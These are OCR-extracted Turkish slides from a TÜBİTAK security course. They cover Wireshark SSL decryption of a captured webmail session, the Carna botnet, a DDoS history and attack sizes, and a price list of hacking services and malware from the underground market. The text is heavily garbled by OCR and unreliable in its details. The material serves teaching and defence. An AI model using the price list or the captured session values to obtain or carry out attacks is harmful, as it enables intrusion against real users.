T Wireshark: Preferences
B :
BLIDP Seoure Socket Layer
SCCP Reassemble S5L reconds spanning muliple TCP segments: [
S5
e Fieassemble 551 Apphcation Data spanning rmultipls S50 records: W
SDP RS54 keys kst Ilg?.IEE.EE.E‘H,HS_,I‘m,C:HM.pem
5P
c1ec S50 debusy File: II
b
SN
Shil No. - Teva Source
St 16 M13RA0 19218, 29,234 17.168. 221 4R
SMTE i Follow SSL Stream ,mj_ag; e Tag T
1 Stream Content '
1 | [GET /Exchange/adrian/Inbox/ "Cmascontents MiTP/1.1 5]
1 Jaccept: image/qif, 1magc/x-xb1tmap. image/ipeq, Image/pipeq, application/x-shockwave-flash, [l win=64240 Len=0
SHMP 1 | ppplication/msword, */
1 | Referer: htips://owa.carbonwind. net/Exchange/ 9 win=63022 Len=0
CoulSenk 1 | JAccept-Language: en-us |est. EML?Cmdereplys
1 | pecepr-gncoding: ?:1p. deflate =
SRYLOC 1 ser-Agent: Mozi111a/4.0 (compatible; MSIE 6.0; windows NT 5.1; svi)
Host: owa.carbonwind. net E
_'_l_ connection: Keep-alive _l .'J
5008 ——— | frookie: sessionide6cdfan6a-6202-4035-ad77-e15F0011aa32 :0x409;
a1 adat a883FB4 6A28514AC1 961CBECECEEEBDY3 =" 20 5batf9e-0444 -400d-a7c6-b7F 8384441 CL 2R IWNK ZQUIPRTAAD 4
55H s Eth | 152 FNTOKU X7 IMNVQUY FODOG00ZPWSVILHZ p+ LT X4GHYUNY S ZyTAAOK 1T pHHDIMQE+ 365hr EL ] yZa0KhaQLyVPeULN/
5 Int | PurlmaxfSIB2rvor2fin”
B 5 ;‘: HTTP/L} 200 OK - p2
- Lonnection: Keep-alive
STANAG S0Es 9 5 | Ppate: Thu, 00 Apr 2009 17:36:06 GMT
2 MY Content~-Type: text/hrml
Sbar Tasn :I A Server: Microsoft-115/6.0
3G | j<-Powered-By: ASP.NET
A | MS-webStorage: 6.5.7638 msword, */*“\r\n
a | Fache-control: no-cache
Hedp P rransfer-gncoding: chunked 1
— a A ln1ic
u | ' ==Copyright (<) 2000-2003 Microsoft Corporation. All rights reserved.-->
.o | <! ==CURRENT FILE== "IE6" "WIN32" noteview --> |
| <! -~CURRENT TEMPLATE == IPF.NOte.00000002 --> )
[KHTML xmins :MSIE DIR«LTR>
JOU0 | oML inamespace prefixe"wM">
oo [<HEAD> 7]
020 KMETA HTTP-EQUIV="Content-Type" coqreur-"text/htm’l: CHARSETw=UtF-8"> ;]
D030 eSS S S e s | i
0040
Poge | End| savess] pren | Eniwe conversation (181050 bytes) v | ascit  e8coic © MexOump C CAnays G Row
NNTN
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Uygulama 5 — Wireshark ile SSL Sifre Cozme " @

! TUBITAK

«_Uygulama’5 -Wireshark ile SSL.$ifre Cozme.pdf»
dosyasini aciniz.

Latfen uygulamayi tamamlayiniz!
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" Hedef: Erigilebilirlik | | | » H |

Compromised

Iﬁtemet

i 130
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roBOTNETwork

|| TUBITAK

“q > i
- ’
L)

Researcher sets up illegal 420,000 node botnet for IPv4 internet map
Potentially risks thousands of years in jail

By lain Thomson in San Francisco - Get more from this author

Posted in Security, 19th March 2013 23:14 GMT

The Carna IPv4 botnet
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Yakin Tarihten Bazi Ornekler " @

TUBITAK

2016 - BBC

2015 - PIayStatio Network & Xbox Live hv

2013 - Cin: internet Arizas|

2012 - TurkHava YIIar| Is b|rakma eylemi

2010 - W|k|Ieaks \EW Marmara, TIB BTK TUBITAK ‘
2009 - Twitter '

2008 - RusyaGurastan Guney Osetya anlasmazllgl

2007 — Rusya- Estonya Savas aniti konusunda |ht||f

2002 — Kok DNS snucularlnl hedef alan DDoS saId|r|Iar|
1996 — Panix (B|I|nen ilk DDoS atagi) |
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Maliyeti Nedir? " @'

! TUBITAK

Current prices on the Russian underground market:
Hacking corporate mailbox: $500

Winlocker ransomware: $10-$20

Unintelligent exploit bundle: $25

Intelligent exploit bundle: $10-$3,000

Basic crypter (for inserting rogue code into a benign file): $10-$30
SOCKS bot (to get around firewalls): $100

Hiring a DDoS attack: $30-$70/day, $1,200/month g

Botnet: $200 for 2,000 bots

DDoS Botnet: $700 g

ZeusS source code: $200-250

Windows rootkit (for installing malicious drivers): $292

Hacking Facebook or Twitter account: $130

Hacking Gmail account: $162

Email spam: $10 per one million emails

Email scam (using customer dtabase) $50-$500 per one million emails
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DDoS = Bant Genisligi? “

Gelen saldiri bant genisliginden fazlaysa yapilacak ¢ok sey yok!

Peak Attack Size
800
Gbps
800 — ()
VN
Vi
/ N
700 — \\
N
// g
/ U
600 — / b )
/-/ ["/ i
500 &
///
e 1
400 @
DU I |
Gbps el
300 — /’l’l
200
100 p
Gbps //
100 (;4;:[]: /J_/.O\\\\ . 12
Tp'“‘ I __,".// “‘30*—"—‘—,, 4 ————‘d )
0 T T T T T T T T |
2008 2009 2010 20m 2002 203 2014 2015 2016 2017

DDoS saldirilarinin biiyiik cogunlugu, bant genisligini tasirma

seklinde gerceklesmektedir.
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D ¢

TCP/IP
Uygulama hafiza ve CPU kullanimini Layer 7 Application
arttirma L Applicalion Tehet, FTP, NFS, NIS
Anlasilamayan veriler ile Layer 6 Session
uygulamayi etkisiz birakma o Prasenlation eg.RPC
Baska bir kullaniciya ait oturumu Layer § Transpot
sonlandirma Session Sockels/Streams « TUI

- %

TCP SYN seli, UDP seli F Layer TP UDP
Transport

Layer 3 Network
Nefwork IP + ARP/RARP/ICMP
Layer 2 Physical Protocol
Data Link Ethemet TRFDDIPPP
Layer 1 Transmission medium

Physical Coax, Fiber, 10baseT.,


https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode.tr

Vv

TUBITAK

Tesekkurler


https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode.tr

